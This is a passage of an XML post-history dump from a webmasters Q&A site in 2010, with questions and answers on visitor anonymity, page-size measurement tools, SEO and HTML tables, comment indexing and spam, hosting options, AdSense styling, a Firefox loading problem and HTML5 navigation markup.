  <row Id="13867" PostHistoryTypeId="2" PostId="6899" RevisionGUID="f8a6a03d-ef5d-48ef-ac82-3b2d39954869" CreationDate="2010-12-19T23:21:46.183" UserDisplayName="Jonah Bron" Text="Disable your server logs, don't use sessions." />
  <row Id="13868" PostHistoryTypeId="2" PostId="6900" RevisionGUID="86915c76-6d3b-4212-ac3b-9a40cb3df1b1" CreationDate="2010-12-19T23:22:23.740" UserId="1780" Text="One main thing is going to be disable or limit access logging. You would have to configure your Web server not to log any user's IP addresses.&#xD;&#xA;&#xD;&#xA;Also ensure access is not logged elsewhere in the system or the data center, no external applicances like reverse proxies are active, and so on.&#xD;&#xA;&#xD;&#xA;Also as @JonahBron points out, don't use sessions. Best don't serve any cookies at all.&#xD;&#xA;&#xD;&#xA;Encourage your users to use additional anonymization services on client side, like [TOR][1]. &#xD;&#xA;&#xD;&#xA;Related interesting reading: [Wikileaks' Hosting][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Tor_(anonymity_network)&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/WikiLeaks#Hosting" />
  <row Id="13869" PostHistoryTypeId="2" PostId="6898" RevisionGUID="48bfe06e-f3b2-4bbf-a56e-f53089213640" CreationDate="2010-12-19T23:19:13.483" UserDisplayName="Grumpy" Text="maybe a broad question but how can you keep a visitor to you site 100% anonymous on your server. site is written in PhP&#xD;&#xA;No trace of what he or she has visited on your site. Any suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13870" PostHistoryTypeId="1" PostId="6898" RevisionGUID="48bfe06e-f3b2-4bbf-a56e-f53089213640" CreationDate="2010-12-19T23:19:13.483" UserDisplayName="Grumpy" Text="how to keep a visitor 100% anonymous" />
  <row Id="13871" PostHistoryTypeId="3" PostId="6898" RevisionGUID="48bfe06e-f3b2-4bbf-a56e-f53089213640" CreationDate="2010-12-19T23:19:13.483" UserDisplayName="Grumpy" Text="&lt;php&gt;" />
  <row Id="13872" PostHistoryTypeId="17" PostId="6898" RevisionGUID="192f2895-37c4-4b91-b16c-daad78cf15cf" CreationDate="2010-12-19T23:31:41.880" UserId="-1" Comment="from http://stackoverflow.com/questions/4485709/how-to-keep-a-visitor-100-anonymous" Text="" />
  <row Id="13876" PostHistoryTypeId="2" PostId="6902" RevisionGUID="86a982d1-e392-4f89-bea2-68ed62d5b205" CreationDate="2010-12-19T23:56:28.890" UserId="3992" Text="I'm about to start trialling optimisations on my web application (apache &amp; tomcat). My main interest right now is:&#xD;&#xA;&#xD;&#xA;- The total page size (including external js files such as jquery)&#xD;&#xA;- The number of GETs per page&#xD;&#xA;&#xD;&#xA;I'd like to setup a systematic way of measuring the consequences of the various changes I make over time.&#xD;&#xA;&#xD;&#xA;Are there any tools that are useful for recording a sequence of page hits, playing this back (as I change the config) and record the size of each page ? Ideally I'd like something that can make work with a continuous integration server such as Continuum.&#xD;&#xA;&#xD;&#xA;Rgds, Kevin.&#xD;&#xA;" />
  <row Id="13877" PostHistoryTypeId="1" PostId="6902" RevisionGUID="86a982d1-e392-4f89-bea2-68ed62d5b205" CreationDate="2010-12-19T23:56:28.890" UserId="3992" Text="Track page size of web app for performance" />
  <row Id="13878" PostHistoryTypeId="3" PostId="6902" RevisionGUID="86a982d1-e392-4f89-bea2-68ed62d5b205" CreationDate="2010-12-19T23:56:28.890" UserId="3992" Text="&lt;analytics&gt;&lt;performance&gt;&lt;measure&gt;&lt;page-size&gt;" />
  <row Id="13879" PostHistoryTypeId="2" PostId="6903" RevisionGUID="d68a10d1-c5e6-4308-9887-36cce5ec2dc3" CreationDate="2010-12-20T00:20:49.697" UserId="3914" Text="Instead or in additon to monitoring the page size I suggest to optimize for performance.&#xD;&#xA;&#xD;&#xA;So monitor the page load time and idealy also your web app's transaction performance. If you google for &quot;real browser monitoring&quot; you will see a some providers like [AlertFox][1].&#xD;&#xA;&#xD;&#xA;Another totally free option is to run  the performance monitoring *locally* with iMacros, Google Page speed,Selenium...&#xD;&#xA;&#xD;&#xA;Google page speed also gives you page size and # of gets ;-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alertfox.com/" />
  <row Id="13880" PostHistoryTypeId="5" PostId="6903" RevisionGUID="eab48f90-5dd9-4314-9568-65c264741597" CreationDate="2010-12-20T00:26:17.740" UserId="3914" Comment="added 54 characters in body" Text="Instead or in additon to monitoring the page size I suggest to optimize for performance.&#xD;&#xA;&#xD;&#xA;So monitor the page load time and idealy also your web app's transaction performance. If you google for &quot;real browser monitoring&quot; you will see a some providers like [AlertFox][1].&#xD;&#xA;&#xD;&#xA;Another totally free option is to run  the performance monitoring *locally* with iMacros, Google Page speed,Selenium...&#xD;&#xA;&#xD;&#xA;[Google page spee][2]d also gives you page size and # of gets ;-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alertfox.com/&#xD;&#xA;  [2]: http://code.google.com/speed/page-speed/" />
  <row Id="13884" PostHistoryTypeId="2" PostId="6904" RevisionGUID="dbb0a07d-5e57-4069-95ea-03284920ba56" CreationDate="2010-12-19T20:38:20.303" UserDisplayName="Jose Cano" Text="I've been trying to answer this question myself by researching and searching on google but I haven't been able to come with a final answer.&#xD;&#xA;I have some hypothesis I would like share anyway:&#xD;&#xA;&#xD;&#xA;1. The average website intends to reach the higher audience possible.&#xD;&#xA;2. User generated content by comments is an efficient way of increasing the relevance and the valuable information of the average website.&#xD;&#xA;3. Indexing comments will make any site attractive to spammers.&#xD;&#xA;4. Indexing comments is more convenient for new/low-traffic websites than it is for old/high-traffic websites.&#xD;&#xA;5. The web in general is currently choosing not to index comments in the average website because of fear to the SPAMMERS.&#xD;&#xA;6. The average author of a content-valuable comment would like his comment to be indexed&#xD;&#xA;7. Not indexing comments discourages the creation of content-valuable comments.&#xD;&#xA;&#xD;&#xA;So, what do you think finally? Is it positive or negative for the average website to allow search engines to index user comments? Why?" />
  <row Id="13885" PostHistoryTypeId="1" PostId="6904" RevisionGUID="dbb0a07d-5e57-4069-95ea-03284920ba56" CreationDate="2010-12-19T20:38:20.303" UserDisplayName="Jose Cano" Text="Is it positive or negative for the average website to allow search engines to index user comments?" />
  <row Id="13886" PostHistoryTypeId="3" PostId="6904" RevisionGUID="dbb0a07d-5e57-4069-95ea-03284920ba56" CreationDate="2010-12-19T20:38:20.303" UserDisplayName="Jose Cano" Text="&lt;indexing&gt;&lt;seo&gt;&lt;comments&gt;&lt;spam&gt;&lt;search-engines&gt;" />
  <row Id="13887" PostHistoryTypeId="17" PostId="6904" RevisionGUID="f69539da-b7e7-4478-8de4-63393c725733" CreationDate="2010-12-20T01:36:50.743" UserId="-1" Comment="from http://stackoverflow.com/questions/4484971/is-it-positive-or-negative-for-the-average-website-to-allow-search-engines-to-ind" Text="" />
  <row Id="13888" PostHistoryTypeId="4" PostId="6890" RevisionGUID="5f3fd611-daa5-4e31-88e9-b7db212b034b" CreationDate="2010-12-20T01:37:16.217" UserId="233" Comment="edited tags; edited title" Text="Are HTML tables bad for SEO?" />
  <row Id="13889" PostHistoryTypeId="6" PostId="6890" RevisionGUID="5f3fd611-daa5-4e31-88e9-b7db212b034b" CreationDate="2010-12-20T01:37:16.217" UserId="233" Comment="edited tags; edited title" Text="&lt;seo&gt;&lt;html&gt;&lt;css&gt;&lt;table&gt;" />
  <row Id="13890" PostHistoryTypeId="2" PostId="6905" RevisionGUID="e9780b47-07ec-43d8-8fe1-de37c77a0543" CreationDate="2010-12-20T01:45:17.500" UserId="1064" Text="If you are concerned that your application's visitor data may fall into the wrong hands, you should never collect any data an attacker could use against your visitors: this means your application should **not** be publicly available, because an attacker who gains access to your server or the network your server hosts on will always be able to monitor incoming and outgoing connections.&#xD;&#xA;&#xD;&#xA;Make your application available only via [TOR hidden service][1] if you care about your visitors' privacy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29#Hidden_services" />
  <row Id="13891" PostHistoryTypeId="2" PostId="6906" RevisionGUID="a72ac710-f8d4-4a0a-ac68-9349d687d944" CreationDate="2010-12-20T02:10:34.630" UserId="1218" Text="Normally, you're looking at aggregated data, as most people don't want their stats to be seen. The best free sources i've found for this kind of information are [MailChimp][1], [Campaign Monitor][2], and [Litmus][3]. [Email Marketing Reports][4] can also have useful stuff.&#xD;&#xA;&#xD;&#xA;A lot of them have breakdown by industry. &#xD;&#xA;&#xD;&#xA;There is definitely a lot of this information out there, it still requires a lot of sifting through.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mailchimp.com/resources/&#xD;&#xA;  [2]: http://www.campaignmonitor.com/&#xD;&#xA;  [3]: http://litmus.com&#xD;&#xA;  [4]: http://www.email-marketing-reports.com/" />
  <row Id="13892" PostHistoryTypeId="2" PostId="6907" RevisionGUID="5df72d42-094f-4e9b-815a-52002372aebd" CreationDate="2010-12-20T04:56:12.410" UserId="2840" Text="Yes, table design are bad for S.E.O.&#xD;&#xA;&#xD;&#xA;The best thing to do for S.E.O. optimization is considerate that a bot read your site as a blind.&#xD;&#xA;&#xD;&#xA;So, when you use a table design, it's impossible to properly linearize your content, and impossible to know what is on the top and what isn't.&#xD;&#xA;&#xD;&#xA;Try to do a site conform with [section 508][1] (see [this article][2] about validators for it) and [WCAG][3] from the [WAI][4] ([take look here][5] for validation), and try to read it with tool like [Lynx][6], or after a linearization (with the [Web Developer Toolbar][7] of Firefox by exemple).&#xD;&#xA;&#xD;&#xA;The more your respect the grammar (`&lt;p&gt;` is for paragraphs, `&lt;table&gt;` for tabular content...), of the (x)HTML, the more it improve its accessibility AND its S.E.O..&#xD;&#xA;&#xD;&#xA;So, use `&lt;table&gt;` for tabular data, not for design, use `&lt;h1&gt;` as the first heading title not a `&lt;span&gt;` with syles, etc., and don't use some `&lt;h3&gt;` just to make your text bolder and bigger, but because you put a first and a second heading title, and you need to create a sub section of the previous `&lt;h2&gt;` section in the structure of your document (not your webpage).&#xD;&#xA;&#xD;&#xA;An important thing to do it easy is to know and use the [document flow][8].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webaim.org/standards/508/checklist&#xD;&#xA;  [2]: http://www.evengrounds.com/developers/section-508-validator&#xD;&#xA;  [3]: http://www.w3.org/TR/WCAG20/&#xD;&#xA;  [4]: http://www.w3.org/WAI/&#xD;&#xA;  [5]: http://www.smartlabsoftware.com/wai-validator.htm&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/Lynx_(web_browser)&#xD;&#xA;  [7]: https://addons.mozilla.org/en/firefox/addon/60/&#xD;&#xA;  [8]: http://books.google.fr/books?id=589iSbn9WYkC&amp;lpg=PP1&amp;ots=IrII9jmC7o&amp;dq=head%20first%20html&amp;pg=PA489#v=onepage&amp;q&amp;f=false" />
  <row Id="13893" PostHistoryTypeId="2" PostId="6908" RevisionGUID="eb5917fc-be8b-4baa-8086-a1c2f51c7cfc" CreationDate="2010-12-20T05:02:21.220" UserId="2840" Text="You can use :&#xD;&#xA;&#xD;&#xA;In Chrome:&#xD;&#xA;&#xD;&#xA; - [Google Chrome Developer Tools][1]&#xD;&#xA; - [Speed Tracer][2]&#xD;&#xA;&#xD;&#xA;In Firefox&#xD;&#xA;&#xD;&#xA; - [Firebug][3]&#xD;&#xA; - [Google Page Speed][4]&#xD;&#xA; - [Yahoo! YSlow][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/chrome/devtools/&#xD;&#xA;  [2]: https://chrome.google.com/extensions/detail/ognampngfcbddbfemdapefohjiobgbdl?hl=en&#xD;&#xA;  [3]: https://addons.mozilla.org/en/firefox/addon/1843/&#xD;&#xA;  [4]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [5]: http://developer.yahoo.com/yslow/" />
  <row Id="13894" PostHistoryTypeId="5" PostId="6908" RevisionGUID="d4138908-ca3f-460b-bad3-65e7e71048aa" CreationDate="2010-12-20T05:16:11.463" UserId="2840" Comment="added 455 characters in body" Text="You can use :&#xD;&#xA;&#xD;&#xA;**In Chrome:**&#xD;&#xA;&#xD;&#xA; - [Google Chrome Developer Tools][1], directly in the browser (no need to install).&#xD;&#xA;   - `[menu]` &amp;#8658; `Tools` &amp;#8658; `Developer Tools` (what you are looking for is in the [Resources Panel][2])&#xD;&#xA; - [Google Speed Tracer][3], but be careful with it: you need to use an unstable version of Chrome, and I've stopped to use it because of that.&#xD;&#xA;&#xD;&#xA;**In Firefox**&#xD;&#xA;&#xD;&#xA; - [Firebug][4]&#xD;&#xA;   - Take a look to the [Net Panel][5]&#xD;&#xA; - [Google Page Speed][6]&#xD;&#xA; - [Yahoo! YSlow][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/chrome/devtools/&#xD;&#xA;  [2]: http://code.google.com/chrome/devtools/docs/resources.html&#xD;&#xA;  [3]: https://chrome.google.com/extensions/detail/ognampngfcbddbfemdapefohjiobgbdl?hl=en&#xD;&#xA;  [4]: https://addons.mozilla.org/en/firefox/addon/1843/&#xD;&#xA;  [5]: http://getfirebug.com/wiki/index.php/Net_Panel&#xD;&#xA;  [6]: http://code.google.com/speed/page-speed/&#xD;&#xA;  [7]: http://developer.yahoo.com/yslow/" />
  <row Id="13895" PostHistoryTypeId="2" PostId="6909" RevisionGUID="735688f2-edfb-41e9-92fd-36c78cf07047" CreationDate="2010-12-20T05:21:55.127" UserId="2840" Text="If you don't moderate user comments, you can have a negative impact if they contain spam.&#xD;&#xA;&#xD;&#xA;But if your site contain a lot of quality comments, so it's a very good thing to let search engine index it!" />
  <row Id="13896" PostHistoryTypeId="2" PostId="6910" RevisionGUID="a17c632c-d598-4598-b3c3-e6e4ee5e2aaf" CreationDate="2010-12-20T05:28:18.073" UserId="2840" Text="Try an hosting like [1and1][1].&#xD;&#xA;&#xD;&#xA;It's cheap, and supports the load well. They also have some [easy to use VPS][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://order.1and1.com/&#xD;&#xA;  [2]: http://order.1and1.com/xml/order/VirtualServer;jsessionid=138150581269CCED499D3D22A922B06F.TCpfix142b?__frame=_top&amp;linkOrigin=Hosting&amp;linkId=hd.nav.mail" />
  <row Id="13897" PostHistoryTypeId="2" PostId="6911" RevisionGUID="2dc375ff-92f9-410e-a833-59aa52cfa62e" CreationDate="2010-12-20T05:34:02.063" UserId="2840" Text="You maybe found what you need with [Microsoft WebMatrix][1].&#xD;&#xA;&#xD;&#xA;[Composite C1][2] (directly available in WebMatrix) is an Open Source heavily customizable CMS in C#, that can allow you to use it as an album application.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/webmatrix/&#xD;&#xA;  [2]: http://www.composite.net/C1/CMS.aspx" />
  <row Id="13898" PostHistoryTypeId="5" PostId="6911" RevisionGUID="e443ea1a-f87e-4982-b92a-9fe56a7776fb" CreationDate="2010-12-20T05:39:08.303" UserId="2840" Comment="added 321 characters in body" Text="You maybe found what you need with [Microsoft WebMatrix][1].&#xD;&#xA;&#xD;&#xA;[Composite C1][2] (directly available in WebMatrix) is an Open Source heavily customizable CMS in C#, that can allow you to use it as an album application.&#xD;&#xA;&#xD;&#xA;You can also take a look to [Photo Gallery Wall C#][3], a Silverlight Photo Gallery based on [this tutorial][4] ([here a demonstration][5]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/webmatrix/&#xD;&#xA;  [2]: http://www.composite.net/C1/CMS.aspx&#xD;&#xA;  [3]: http://photogallerywallcs.codeplex.com/&#xD;&#xA;  [4]: http://designwithsilverlight.com/?p=162&#xD;&#xA;  [5]: http://designwithsilverlight.com/tutorials/photoGalleryWall/Default.html" />
  <row Id="13899" PostHistoryTypeId="6" PostId="6864" RevisionGUID="88800980-f63e-4921-931a-3785bfe3743f" CreationDate="2010-12-20T05:39:36.943" UserId="2840" Comment="edited tags" Text="&lt;open-source&gt;&lt;photo-gallery&gt;&lt;c#&gt;" />
  <row Id="13900" PostHistoryTypeId="2" PostId="6912" RevisionGUID="8fb0226a-27a8-432d-8b8f-b0a035a778f5" CreationDate="2010-12-20T05:50:07.367" UserId="3656" Text="i have a google ad, where i want to place an image, i tired the css, but the image is not coming properly,&#xD;&#xA;my google ad size is height=280, width=336&#xD;&#xA;the image url is http://www.clker.com/cliparts/e/p/V/F/o/0/notepad-hi.png&#xD;&#xA;&#xD;&#xA;i want this image behind my ad, i tried this following code:-&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        background:url(&quot;http://www.clker.com/cliparts/e/p/V/F/o/0/notepad-hi.png&quot;)transparent;&#xD;&#xA;        height: 300px;&#xD;&#xA;        padding: 50px 30px 0;&#xD;&#xA;        width: 350px;    &#xD;&#xA;    }" />
  <row Id="13901" PostHistoryTypeId="1" PostId="6912" RevisionGUID="8fb0226a-27a8-432d-8b8f-b0a035a778f5" CreationDate="2010-12-20T05:50:07.367" UserId="3656" Text="background css help" />
  <row Id="13902" PostHistoryTypeId="3" PostId="6912" RevisionGUID="8fb0226a-27a8-432d-8b8f-b0a035a778f5" CreationDate="2010-12-20T05:50:07.367" UserId="3656" Text="&lt;css&gt;&lt;google-adsense&gt;" />
  <row Id="13904" PostHistoryTypeId="2" PostId="6914" RevisionGUID="eb947467-440f-4620-a7a9-297018175fea" CreationDate="2010-12-20T06:12:02.570" UserId="2840" Text=" 1. Create a `&lt;div&gt;`&#xD;&#xA; 2. Apply your style to the div&#xD;&#xA; 3. insert your add into the div&#xD;&#xA;&#xD;&#xA;But, the AdSense ads are not transparent, and :&#xD;&#xA;&#xD;&#xA;[AdSense Terms and Conditions][1]&#xD;&#xA;&#xD;&#xA;&gt; ***Implementation and Operation of Ads, Search Results, and Referrals*** [...] including without limitation by not modifying the JavaScript or other programming provided to You by Google in any way, unless expressly authorized in writing by Google [...]&#xD;&#xA;&#xD;&#xA;So, I don't know if a &quot;T.O.S. compliant&quot; technique exist for this...&#xD;&#xA;&#xD;&#xA;[1]: https://www.google.com/adsense/localized-terms" />
  <row Id="13905" PostHistoryTypeId="2" PostId="6915" RevisionGUID="40e967f3-2083-4fec-97f6-8346bfd01d58" CreationDate="2010-12-20T06:48:57.997" UserId="3981" Text="I'm trying to create a website that accepts submissions into a form, and then later on I can display it in tables organized by categories, similar to how RateMyProfessors does it:&#xD;&#xA;&#xD;&#xA;http://www.ratemyprofessors.com/SelectTeacher.jsp?sid=399&#xD;&#xA;&#xD;&#xA;To me, my main concerns are:&#xD;&#xA;&#xD;&#xA; - Figuring out a good way to read in&#xD;&#xA;   submissions and save it into a&#xD;&#xA;   database in the backend,&#xD;&#xA;&#xD;&#xA; - Displaying the data in organized&#xD;&#xA;   tables on the frontend.&#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions for any platform, framework, CMS, or anything that could assist me in creating such a site that's focused on very flexible forms?" />
  <row Id="13906" PostHistoryTypeId="1" PostId="6915" RevisionGUID="40e967f3-2083-4fec-97f6-8346bfd01d58" CreationDate="2010-12-20T06:48:57.997" UserId="3981" Text="Creating a site with similar functionality to RateMyProfessors" />
  <row Id="13907" PostHistoryTypeId="3" PostId="6915" RevisionGUID="40e967f3-2083-4fec-97f6-8346bfd01d58" CreationDate="2010-12-20T06:48:57.997" UserId="3981" Text="&lt;web-development&gt;&lt;forms&gt;&lt;table&gt;" />
  <row Id="13908" PostHistoryTypeId="2" PostId="6916" RevisionGUID="fa72c591-b3b6-4ef1-8795-db5b35277b77" CreationDate="2010-12-20T08:35:14.983" UserId="3998" Text="I assume that you don't have particularly strong development experience (if this is an incorrect assumption, give me a rundown of your development background, and I may be able to provide more targeted advice). If you have some initial capital, you can probably source it out. Depending on the complexity of the initial build, it shouldn't be too hard to get a strong basic set of functionality on a ~$25-50k USD budget.&#xD;&#xA;&#xD;&#xA;If, on the other hand, you are interested in actually getting your hands on some code, it's a somewhat long path to get to the level required to build a RateMyProfessors imitator. Two very popular and well-supported web application stacks are PHP and Ruby on Rails. Either one would be a good entrance. You can find book recommendations nearly everywhere, although N.B., Rails is still actively evolving, so you probably don't want to use a book more than  a year old for Rails (in fact, in the current environment, a recent major upgrade to Rails from version 2 to version 3 makes it so that a lot of books are probably not a good idea). On the other hand, even a 3 year old PHP book will give you a decent introduction.&#xD;&#xA;&#xD;&#xA;Finally, a decent middle ground is to try to put out your own site using a pre-built extensible CMS like Drupal. While your eventual capabilities will be limited (there's a good chance you'll hit a &quot;wall&quot; where you won't be able to achieve what you want and will either need to learn the technologies yourself or hire outside help, and in either of these cases, your application may well be rebuilt from the ground up), it's a good start." />
  <row Id="13909" PostHistoryTypeId="2" PostId="6917" RevisionGUID="a02e7637-317b-407d-93cd-d6c2444e5aeb" CreationDate="2010-12-20T09:01:21.227" UserId="3998" Text="I would strongly recommend against EC2 for your first foray into dedicated hosts. EC2 has very specific applications, and there's a much steeper learning curve involved.&#xD;&#xA;&#xD;&#xA;At this point, there are coarsely three directions to go, and pros and cons for each:&#xD;&#xA;&#xD;&#xA;**Managed dedicated hosting:** I've never shopped for managed hosting firsthand, although I've interacted with it in the past when working for clients who have pre-existing sites. In the higher-service levels of managed hosting, you'll have a salesperson guide you through the entire process including purchase, migration, and so on. Associated bills run around $500-2000 per month in my experience. *Managed hosting may be the best choice if you don't want to be a generalist, don't have a partner on whom you can pawn the server management role, and have a large hosting budget/requirements.*&#xD;&#xA;&#xD;&#xA;**Unmanaged &quot;assisted&quot; dedicated hosting:** MediaTemple is the name that pops up most prominently in my mind for this. I have used MediaTemple extensively, and their services were the first ones I used after &quot;graduating&quot; from shared hosting. Their dedicated hosting package is unmanaged in the sense that they won't set up your load balancing, DNS, migrations, backups, and so on. Nevertheless, they have a nice control panel for system tasks, and a whole bunch of software comes pre-installed like Plesk, which in turn manages/implements pretty much the &quot;all you'll ever need&quot; stack including Apache, PHP, mail, monitoring, MySQL, and so on. I have managed fairly large sites on this not having to touch the command line more than once or twice. Another plug for MediaTemple is taht they also have quite good telephone support, at least when I used them. Unlike shared hosting, where support is (understandably) non-existed, even when I was on their cheaper plans, there was always someone to pick up the phone 24/7 who was quite knowledgeable. *Unmanaged &quot;assisted&quot; hosting is probably your best choice overall. You can manage this yourself with limited difficulty. It's a hell of a lot more affordable than the managed solution (roughly 50-75% savings, hardware for hardware). A the end of the day, most such hosting providers do give you full access to your system in the manner of a full-fledged VPS, so you probably won't be constrained on what you can do.* &#xD;&#xA;&#xD;&#xA;**VPS:** Finally, you can go with the almost completely unmanaged VPS route. Linode is a big name here and what I currently use. Slicehost is also a big name, although [comparisons](http://journal.uggedal.com/vps-performance-comparison) generally have it coming up short (its prices for each VPS size are also less competitive). Another name floating around these days is [prgmr](http://prgmr.com/xen/) for the more 1337 among us. Prgmr offers the best prices, (allegedly) the best performance, and the most customizability at the low levels. In any of these, you'll essentially be put on a basic installation of a Linux distribution with some of the other stuff sorted out for your (DNS records, IP addresses, intranet, some router/firewall-level protections against, for instance, DDoS). Beyond that, the instructions are basically just &quot;go&quot;. Slicehost and Linode both offer quite extensive guides to do almost all basic tasks like install the LAMP stack or maintain your system. For me, a huge benefit was being able to move stuff, test, and deploy across multiple developments in an instant is the biggest plus. Before, I had to FTP lots of files, manually run queries in the lovely world of phpmyadmin, set up site-by-site deployment scripts, and deal with cross-system messes all the time. Now, I can just have everything hooked up together! Finally, with the VPS, I know what's going on on my server, and I can do anything to it. One of my first steps was to install a private Git &quot;server&quot;, but you could just as easily set up a VPN, an SSH tunnel, or a distributed programming project node. *The VPS solution is by far the most work for you in terms of actually touching the system administration. However, it is the most customizable, which just may save you work at the end of the day (isn't that the goal). *" />
  <row Id="13910" PostHistoryTypeId="2" PostId="6918" RevisionGUID="59fe2d91-a400-489b-820f-5179b6517662" CreationDate="2010-12-20T09:30:12.287" UserId="89" Text="Spammers don't care if you let search engines index your comments, they don't even care if the comments are ever shown, the idea behind spamming is to send your spam to as many sites as possible planning that maybe 0.5% of sites won't block your message - if spammers can find you they will spam you.&#xD;&#xA;&#xD;&#xA;That means you may as well index the comments to improve SEO, not indexing them will not solve your spam problem.&#xD;&#xA;&#xD;&#xA;On my site comments are moderated - they don't show up at all until they are approved by me - and yet they site used to get tens of comments every day about a drug beginning with the letter v and the most offensive sexual content I've ever heard about.&#xD;&#xA;&#xD;&#xA;I've added some very basic spam filtering to my system and spam dropped to zero.&#xD;&#xA;&#xD;&#xA;So, what I've learned is:&#xD;&#xA;&#xD;&#xA;1. If a spammer can find you he will spam you - they don't care about the specifics of your site or even check if the spam is ever displayed.&#xD;&#xA;&#xD;&#xA;2. If you run a small site even a basic easy to bypass spam filter will work because the spammers don't even check if the spam is ever displayed.&#xD;&#xA;&#xD;&#xA;3. If you have any user generated content you must have some form of spam control&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13911" PostHistoryTypeId="2" PostId="6919" RevisionGUID="3f24b7e5-7e00-42b8-b52f-882665e95345" CreationDate="2010-12-20T10:30:44.850" UserDisplayName="alex" Text="After the latest version of Firefox came out, I've been having problems with my website. The site is: http://mojheroj.com It works fine in all other browsers, as well as older versions of Firefox and Firefox 4.0 beta 7, but it just won't load in 3.6.13. When I try, all I get is a blank page. I don't even get an error.&#xD;&#xA;&#xD;&#xA;At first I thought it might be a problem with the program, so I tried clearing the cache, reinstalling, opening the page in safe-mode, but nothing helped. After checking with some friends, they seem to have the same problem.&#xD;&#xA;&#xD;&#xA;The website is done in Joomla, with some jQuery. To make things even weirder, I can access the administrator part of the site through Firefox just fine.&#xD;&#xA;&#xD;&#xA;Also, when I change the browser's user agent, Firefox can open my page. So, I'm guessing that's where the problem lies, but I don't know how to fix it. I tried checking Joomla's .htaccess file, but the USER_AGENT property isn't defined at all. Could someone please help me how I could fix this? I really need the website to work in Firefox.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="13912" PostHistoryTypeId="1" PostId="6919" RevisionGUID="3f24b7e5-7e00-42b8-b52f-882665e95345" CreationDate="2010-12-20T10:30:44.850" UserDisplayName="alex" Text="Website won't load in Firefox 3.6.13" />
  <row Id="13913" PostHistoryTypeId="3" PostId="6919" RevisionGUID="3f24b7e5-7e00-42b8-b52f-882665e95345" CreationDate="2010-12-20T10:30:44.850" UserDisplayName="alex" Text="&lt;htaccess&gt;&lt;joomla&gt;&lt;firefox&gt;&lt;user-agent&gt;" />
  <row Id="13920" PostHistoryTypeId="2" PostId="6922" RevisionGUID="4406a907-bda7-4b62-a3ba-70914d6301db" CreationDate="2010-12-20T12:06:55.210" UserId="2621" Text="What about [Open Web Analytics][1]? It's free and looks googlish. Might be worth a try. It says [here][2] that it does have mouse tracking and heatclick maps. However you have to host it but it has no Data/Logging Limits.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openwebanalytics.com/&#xD;&#xA;  [2]: http://www.openwebanalytics.com/?page_id=158" />
  <row Id="13921" PostHistoryTypeId="2" PostId="6923" RevisionGUID="4adfa4de-87fd-4343-9e26-9a5e8e294058" CreationDate="2010-12-20T12:14:30.103" UserId="3955" Text="Let's say I want to write a simple menu in HTML5.&#xD;&#xA;&#xD;&#xA;Should I write like this:&#xD;&#xA;&#xD;&#xA;    &lt;h1&gt;My Menu&lt;/h1&gt;&#xD;&#xA;    &lt;h2&gt;Submenu 1&lt;/h2&gt;&#xD;&#xA;    &lt;nav&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 3&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 4&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;    &lt;/nav&gt;&#xD;&#xA;    &lt;h2&gt;Submenu 2&lt;/h2&gt;&#xD;&#xA;    &lt;nav&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 3&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 4&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;    &lt;/nav&gt;&#xD;&#xA;&#xD;&#xA;Or like this:&#xD;&#xA;&#xD;&#xA;    &lt;nav&gt;&#xD;&#xA;        &lt;h1&gt;My Menu&lt;/h1&gt;&#xD;&#xA;        &lt;h2&gt;Submenu 1&lt;/h2&gt;&#xD;&#xA;        &lt;ul&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 1&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 2&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 3&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;            &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Link 4&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;        &lt;/ul&gt;&#xD;&#xA;        &lt;h2&gt;Submenu 2&lt;/h2&gt;&#xD;&#xA;        